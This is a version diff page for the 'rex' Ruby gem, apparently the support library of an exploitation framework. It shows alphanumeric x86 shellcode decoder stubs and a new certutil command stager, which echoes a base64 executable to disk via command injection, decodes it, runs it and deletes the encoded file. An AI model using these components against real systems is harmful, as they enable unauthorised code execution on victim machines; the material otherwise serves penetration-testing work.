rex 2.0.8 → 2.0.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 22c520a8b58476a0eec77db5441cfded29f8b2f3
4
- data.tar.gz: 51e9bbbaf02d8bd0fb56dcf478afd3e309e149e8
3
+ metadata.gz: 5a35ae088f817815b2d3cd56ad4f298a1dc36a73
4
+ data.tar.gz: f486b6412dd555646eb747c4b65a4b01dd623f38
5
5
  SHA512:
6
- metadata.gz: afa5bb9719866c18f8372147f7e50c6156453a8b5b882eadd083f5bfa6d7ca7bced4ca7a6c6381bb48ca90d71ff89fc579c1a12751f319ae9de25f3b8593803e
7
- data.tar.gz: d0c9d1a506cad9ce76cd82770939d15d6652a03a8a4714284fa20f50e0b4ab534134e52ca0bd68f318b9b85763603342199d54ed169abe93a2913eb0d6c7b15b
6
+ metadata.gz: 96d9eed7f6fa713ae93f52a629113b9f5cdb41aed48db814731612bf2dbe74a0c657f83905640e188c1dcb622b3781125737e1faf1b06ab1eb29d15e99941acc
7
+ data.tar.gz: a7092a603aeab1a5291f522438f8a94a56e28a6f6134d1024c1b8fce85956e0432e818bf83fcee1710bdd2aeeb0c1bf2b297e7f40154f2a7544f20fb043d69f0
data/lib/rex.rb CHANGED
@@ -42,6 +42,7 @@ end
42
42
  require 'rex/constants'
43
43
  require 'rex/exceptions'
44
44
  require 'rex/transformer'
45
+ require 'rex/random_identifier_generator'
45
46
  require 'rex/text'
46
47
  require 'rex/time'
47
48
  require 'rex/job_container'
data/lib/rex/arch.rb CHANGED
@@ -18,6 +18,7 @@ module Arch
18
18
  #
19
19
  require 'rex/arch/x86'
20
20
  require 'rex/arch/sparc'
21
+ require 'rex/arch/zarch'
21
22
 
22
23
  #
23
24
  # This routine adjusts the stack pointer for a given architecture.
@@ -64,6 +65,8 @@ module Arch
64
65
  [addr].pack('V')
65
66
  when ARCH_ARMBE
66
67
  [addr].pack('N')
68
+ when ARCH_ZARCH
69
+ [addr].pack('Q>')
67
70
  end
68
71
  end
69
72
 
@@ -95,6 +98,8 @@ module Arch
95
98
  return ENDIAN_LITTLE
96
99
  when ARCH_ARMBE
97
100
  return ENDIAN_BIG
101
+ when ARCH_ZARCH
102
+ return ENDIAN_BIG
98
103
  end
99
104
 
100
105
  return ENDIAN_LITTLE
data/lib/rex/arch/x86.rb CHANGED
@@ -421,8 +421,7 @@ module X86
421
421
  # This method returns an array containing a geteip stub, a register, and an offset
422
422
  # This method will return nil if the getip generation fails
423
423
  #
424
- def self.geteip_fpu(badchars)
425
-
424
+ def self.geteip_fpu(badchars, modified_registers = [])
426
425
  #
427
426
  # Default badchars to an empty string
428
427
  #
@@ -470,18 +469,29 @@ module X86
470
469
  #
471
470
  while(dsts.length > 0)
472
471
  buf = ''
472
+ mod_registers = [ESP]
473
473
  dst = dsts[ rand(dsts.length) ]
474
474
  dsts.delete(dst)
475
475
 
476
476
  # If the register is not ESP, copy ESP
477
477
  if (dst != ESP)
478
- next if badchars.index( (0x70 + dst).chr )
478
+ mod_registers.push(dst)
479
+ if badchars.index( (0x70 + dst).chr )
480
+ mod_registers.pop(dst)
481
+ next
482
+ end
479
483
 
480
484
  if !(badchars.index("\x89") or badchars.index( (0xE0+dst).chr ))
481
485
  buf << "\x89" + (0xE0 + dst).chr
482
486
  else
483
- next if badchars.index("\x54")
484
- next if badchars.index( (0x58+dst).chr )
487
+ if badchars.index("\x54")
488
+ mod_registers.pop(dst)
489
+ next
490
+ end
491
+ if badchars.index( (0x58+dst).chr )
492
+ mod_registers.pop(dst)
493
+ next
494
+ end
485
495
  buf << "\x54" + (0x58 + dst).chr
486
496
  end
487
497
  end
@@ -506,6 +516,7 @@ module X86
506
516
  regs.delete(reg)
507
517
  next if reg == ESP
508
518
  next if badchars.index( (0x58 + reg).chr )
519
+ mod_registers.push(reg)
509
520
 
510
521
  # Pop the value back out
511
522
  0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
@@ -513,8 +524,11 @@ module X86
513
524
  # Fix the value to point to self
514
525
  gap = out.length - buf.length
515
526
 
527
+ mod_registers.uniq!
528
+ modified_registers.concat(mod_registers)
516
529
  return [out, REG_NAMES32[reg].upcase, gap]
517
530
  end
531
+ mod_registers.pop(dst)
518
532
  end
519
533
 
520
534
  return nil
@@ -0,0 +1,17 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Arch
5
+
6
+ #
7
+ # base module for ZARCH creation 8/13/15
8
+ # Author: BeS Bigendian Smalls
9
+ #
10
+
11
+ module ZARCH
12
+
13
+
14
+ end
15
+
16
+ end end
17
+
data/lib/rex/compat.rb CHANGED
@@ -166,9 +166,9 @@ def self.open_webrtc_browser(url='http://google.com/')
166
166
  app_data = ENV['APPDATA']
167
167
  paths << "#{app_data}\\Google\\Chrome\\Application\\chrome.exe"
168
168
 
169
- paths.each do |p|
170
- if File.exists?(p)
171
- args = (p =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
169
+ paths.each do |path|
170
+ if File.exists?(path)
171
+ args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
172
172
  system("#{path} #{args} #{url}")
173
173
  found_browser = true
174
174
  break
@@ -188,13 +188,14 @@ def self.open_webrtc_browser(url='http://google.com/')
188
188
  end
189
189
  else
190
190
  if defined? ENV['PATH']
191
- ['chrome', 'chromium', 'firefox', 'opera'].each do |browser|
191
+ ['firefox', 'google-chrome', 'chrome', 'chromium', 'firefox', 'opera'].each do |browser|
192
192
  ENV['PATH'].split(':').each do |path|
193
193
  browser_path = "#{path}/#{browser}"
194
194
  if File.exists?(browser_path)
195
195
  args = (browser_path =~ /Chrome/) ? "--allow-file-access-from-files" : ""
196
196
  system("#{browser_path} #{args} #{url} &")
197
197
  found_browser = true
198
+ break
198
199
  end
199
200
  end
200
201
  end
data/lib/rex/constants.rb CHANGED
@@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik'
88
88
  ARCH_PYTHON = 'python'
89
89
  ARCH_NODEJS = 'nodejs'
90
90
  ARCH_FIREFOX = 'firefox'
91
+ ARCH_ZARCH = 'zarch'
91
92
  ARCH_TYPES =
92
93
  [
93
94
  ARCH_X86,
@@ -110,7 +111,8 @@ ARCH_TYPES =
110
111
  ARCH_DALVIK,
111
112
  ARCH_PYTHON,
112
113
  ARCH_NODEJS,
113
- ARCH_FIREFOX
114
+ ARCH_FIREFOX,
115
+ ARCH_ZARCH,
114
116
  ]
115
117
 
116
118
  ARCH_ALL = ARCH_TYPES
@@ -8,22 +8,49 @@ module Alpha2
8
8
 
9
9
  class AlphaMixed < Generic
10
10
 
11
- def self.gen_decoder_prefix(reg, offset)
12
- if (offset > 32)
13
- raise "Critical: Offset is greater than 32"
11
+ # Generates the decoder stub prefix
12
+ #
13
+ # @param [String] reg the register pointing to the encoded payload
14
+ # @param [Fixnum] offset the offset to reach the encoded payload
15
+ # @param [Array] modified_registers accounts the registers modified by the stub
16
+ # @return [String] the alpha mixed decoder stub prefix
17
+ def self.gen_decoder_prefix(reg, offset, modified_registers = [])
18
+ if offset > 32
19
+ raise 'Critical: Offset is greater than 32'
14
20
  end
15
21
 
22
+ mod_registers = []
23
+ nop_regs = []
24
+ mod_regs = []
25
+ edx_regs = []
26
+
16
27
  # use inc ebx as a nop here so we still pad correctly
17
- if (offset <= 16)
28
+ if offset <= 16
18
29
  nop = 'C' * offset
30
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
31
+
19
32
  mod = 'I' * (16 - offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx
33
+ mod_regs.push(Rex::Arch::X86::ECX) unless offset == 16
34
+ mod_regs.concat(nop_regs)
35
+ mod_regs.push(Rex::Arch::X86::EDX)
36
+
20
37
  edxmod = 'J' * (17 - offset)
38
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
21
39
  else
22
40
  mod = 'A' * (offset - 16)
41
+ mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
42
+
23
43
  nop = 'C' * (16 - mod.length)
44
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
45
+
24
46
  mod << nop + '7QZ'
47
+ mod_regs.concat(nop_regs)
48
+ mod_regs.push(Rex::Arch::X86::EDX)
49
+
25
50
  edxmod = 'B' * (17 - (offset - 16))
51
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
26
52
  end
53
+
27
54
  regprefix = {
28
55
  'EAX' => 'PY' + mod, # push eax, pop ecx
29
56
  'ECX' => 'I' + mod, # dec ecx
@@ -36,15 +63,38 @@ class AlphaMixed < Generic
36
63
  }
37
64
 
38
65
  reg.upcase!
39
- if (not regprefix.keys.include? reg)
40
- raise ArgumentError.new("Invalid register name")
66
+
67
+ unless regprefix.keys.include?(reg)
68
+ raise ArgumentError.new('Invalid register name')
41
69
  end
70
+
71
+ case reg
72
+ when 'EDX'
73
+ mod_registers.concat(edx_regs)
74
+ mod_registers.concat(nop_regs)
75
+ mod_registers.push(Rex::Arch::X86::ECX)
76
+ else
77
+ mod_registers.push(Rex::Arch::X86::ECX)
78
+ mod_registers.concat(mod_regs)
79
+ end
80
+
81
+ mod_registers.uniq!
82
+ modified_registers.concat(mod_registers)
83
+
42
84
  return regprefix[reg]
43
85
  end
44
86
 
45
- def self.gen_decoder(reg, offset)
87
+ # Generates the decoder stub
88
+ #
89
+ # @param [String] reg the register pointing to the encoded payload
90
+ # @param [Fixnum] offset the offset to reach the encoded payload
91
+ # @param [Array] modified_registers accounts the registers modified by the stub
92
+ # @return [String] the alpha mixed decoder stub
93
+ def self.gen_decoder(reg, offset, modified_registers = [])
94
+ mod_registers = []
95
+
46
96
  decoder =
47
- gen_decoder_prefix(reg, offset) +
97
+ gen_decoder_prefix(reg, offset, mod_registers) +
48
98
  "jA" + # push 0x41
49
99
  "X" + # pop eax
50
100
  "P" + # push eax
@@ -62,7 +112,18 @@ class AlphaMixed < Generic
62
112
  "uJ" + # jnz short -------------------------
63
113
  "I" # first encoded char, fixes the above J
64
114
 
65
- return decoder
115
+ mod_registers.concat(
116
+ [
117
+ Rex::Arch::X86::ESP,
118
+ Rex::Arch::X86::EAX,
119
+ Rex::Arch::X86::ECX,
120
+ Rex::Arch::X86::EDX
121
+ ])
122
+
123
+ mod_registers.uniq!
124
+ modified_registers.concat(mod_registers)
125
+
126
+ decoder
66
127
  end
67
128
 
68
129
  end end end end
@@ -9,21 +9,47 @@ module Alpha2
9
9
  class AlphaUpper < Generic
10
10
  def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
11
11
 
12
- def self.gen_decoder_prefix(reg, offset)
13
- if (offset > 20)
14
- raise "Critical: Offset is greater than 20"
12
+ # Generates the decoder stub prefix
13
+ #
14
+ # @param [String] reg the register pointing to the encoded payload
15
+ # @param [Fixnum] offset the offset to reach the encoded payload
16
+ # @param [Array] modified_registers accounts the registers modified by the stub
17
+ # @return [String] the alpha upper decoder stub prefix
18
+ def self.gen_decoder_prefix(reg, offset, modified_registers = [])
19
+ if offset > 20
20
+ raise 'Critical: Offset is greater than 20'
15
21
  end
16
22
 
23
+ mod_registers = []
24
+ nop_regs = []
25
+ mod_regs = []
26
+ edx_regs = []
27
+
17
28
  # use inc ebx as a nop here so we still pad correctly
18
29
  if (offset <= 10)
19
30
  nop = 'C' * offset
31
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
32
+
20
33
  mod = 'I' * (10 - offset) + nop + 'QZ' # dec ecx,,, push ecx, pop edx
34
+ mod_regs.push(Rex::Arch::X86::ECX) unless offset == 10
35
+ mod_regs.concat(nop_regs)
36
+ mod_regs.push(Rex::Arch::X86::EDX)
37
+
21
38
  edxmod = 'J' * (11 - offset)
39
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
22
40
  else
23
41
  mod = 'A' * (offset - 10)
42
+ mod_regs.push(Rex::Arch::X86::ECX) unless mod.empty?
43
+
24
44
  nop = 'C' * (10 - mod.length)
45
+ nop_regs.push(Rex::Arch::X86::EBX) unless nop.empty?
46
+
25
47
  mod << nop + 'QZ'
48
+ mod_regs.concat(nop_regs)
49
+ mod_regs.push(Rex::Arch::X86::EDX)
50
+
26
51
  edxmod = 'B' * (11 - (offset - 10))
52
+ edx_regs.push(Rex::Arch::X86::EDX) unless edxmod.empty?
27
53
  end
28
54
  regprefix = {
29
55
  'EAX' => 'PY' + mod, # push eax, pop ecx
@@ -33,20 +59,41 @@ class AlphaUpper < Generic
33
59
  'ESP' => 'TY' + mod, # push esp, pop ecx
34
60
  'EBP' => 'UY' + mod, # push ebp, pop ecx
35
61
  'ESI' => 'VY' + mod, # push esi, pop ecx
36
- 'EDI' => 'WY' + mod, # push edi, pop edi
62
+ 'EDI' => 'WY' + mod, # push edi, pop ecx
37
63
  }
38
64
 
39
65
  reg.upcase!
40
- if (not regprefix.keys.include? reg)
66
+ unless regprefix.keys.include?(reg)
41
67
  raise ArgumentError.new("Invalid register name")
42
68
  end
43
- return regprefix[reg]
44
69
 
70
+ case reg
71
+ when 'EDX'
72
+ mod_registers.concat(edx_regs)
73
+ mod_registers.concat(nop_regs)
74
+ mod_registers.push(Rex::Arch::X86::ECX)
75
+ else
76
+ mod_registers.push(Rex::Arch::X86::ECX)
77
+ mod_registers.concat(mod_regs)
78
+ end
79
+
80
+ mod_registers.uniq!
81
+ modified_registers.concat(mod_registers)
82
+
83
+ return regprefix[reg]
45
84
  end
46
85
 
47
- def self.gen_decoder(reg, offset)
86
+ # Generates the decoder stub
87
+ #
88
+ # @param [String] reg the register pointing to the encoded payload
89
+ # @param [Fixnum] offset the offset to reach the encoded payload
90
+ # @param [Array] modified_registers accounts the registers modified by the stub
91
+ # @return [String] the alpha upper decoder stub
92
+ def self.gen_decoder(reg, offset, modified_registers = [])
93
+ mod_registers = []
94
+
48
95
  decoder =
49
- gen_decoder_prefix(reg, offset) +
96
+ gen_decoder_prefix(reg, offset, mod_registers) +
50
97
  "V" + # push esi
51
98
  "T" + # push esp
52
99
  "X" + # pop eax
@@ -73,6 +120,18 @@ class AlphaUpper < Generic
73
120
  "JJ" + # jnz * --------------------
74
121
  "I" # first encoded char, fixes the above J
75
122
 
123
+ mod_registers.concat(
124
+ [
125
+ Rex::Arch::X86::ESP,
126
+ Rex::Arch::X86::EAX,
127
+ Rex::Arch::X86::ESI,
128
+ Rex::Arch::X86::ECX,
129
+ Rex::Arch::X86::EDX
130
+ ])
131
+
132
+ mod_registers.uniq!
133
+ modified_registers.concat(mod_registers)
134
+
76
135
  return decoder
77
136
  end
78
137
 
@@ -2,6 +2,7 @@
2
2
 
3
3
  require 'rex/exploitation/cmdstager/base'
4
4
  require 'rex/exploitation/cmdstager/vbs'
5
+ require 'rex/exploitation/cmdstager/certutil'
5
6
  require 'rex/exploitation/cmdstager/debug_write'
6
7
  require 'rex/exploitation/cmdstager/debug_asm'
7
8
  require 'rex/exploitation/cmdstager/tftp'
@@ -0,0 +1,115 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'msf/core/framework'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ ###
11
+ #
12
+ # This class provides the ability to create a sequence of commands from an executable.
13
+ # When this sequence is ran via command injection or a shell, the resulting exe will
14
+ # be written to disk and executed.
15
+ #
16
+ # This particular version uses Windows certutil to base64 decode a file,
17
+ # created via echo >>, and decode it to the final binary.
18
+ #
19
+ #
20
+ # Written by xistence
21
+ # Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522
22
+ #
23
+ ###
24
+
25
+ class CmdStagerCertutil < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+
30
+ @var_encoded = Rex::Text.rand_text_alpha(5)
31
+ @var_decoded = Rex::Text.rand_text_alpha(5)
32
+ @decoder = nil # filled in later
33
+ end
34
+
35
+
36
+ # Override just to set the extra byte count
37
+ # @param opts [Array] The options to generate the command line
38
+ # @return [Array] The complete command line
39
+ def generate_cmds(opts)
40
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
41
+ @cmd_start = "echo "
42
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
43
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
44
+ opts.merge!({ :extra => xtra_len })
45
+ super
46
+ end
47
+
48
+
49
+ # Simple base64 encoder for the executable
50
+ # @param opts [Array] The options to generate the command line
51
+ # @return [String] Base64 encoded executable
52
+ def encode_payload(opts)
53
+ Rex::Text.encode_base64(@exe)
54
+ end
55
+
56
+
57
+ # Combine the parts of the encoded file with the stuff that goes
58
+ # before / after it.
59
+ # @param parts [Array] Splitted commands
60
+ # @param opts [Array] The options to generate the command line
61
+ # @return [Array] The command line
62
+ def parts_to_commands(parts, opts)
63
+
64
+ cmds = []
65
+ parts.each do |p|
66
+ cmd = ''
67
+ cmd << @cmd_start
68
+ cmd << p
69
+ cmd << @cmd_end
70
+ cmds << cmd
71
+ end
72
+
73
+ cmds
74
+ end
75
+
76
+
77
+ # Generate the commands that will decode the file we just created
78
+ # @param opts [Array] The options to generate the command line
79
+ # @return [Array] The certutil Base64 decoder part of the command line
80
+ def generate_cmds_decoder(opts)
81
+
82
+ cmds = []
83
+ cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
84
+ return cmds
85
+ end
86
+
87
+
88
+ # We override compress commands just to stick in a few extra commands
89
+ # last second..
90
+ # @param cmds [Array] Complete command line
91
+ # @param opts [Array] Extra options for command line generation
92
+ # @return [Array] The complete command line including cleanup
93
+ def compress_commands(cmds, opts)
94
+ # Make it all happen
95
+ cmds << "#{@tempdir}#{@var_decoded}.exe"
96
+
97
+ # Clean up after unless requested not to..
98
+ if (not opts[:nodelete])
99
+ cmds << "del #{@tempdir}#{@var_encoded}.b64"
100
+ # NOTE: We won't be able to delete the exe while it's in use.
101
+ end
102
+
103
+ super
104
+ end
105
+
106
+ # Windows uses & to concat strings
107
+ #
108
+ # @return [String] Concat operator
109
+ def cmd_concat_operator
110
+ " & "
111
+ end
112
+
113
+ end
114
+ end
115
+ end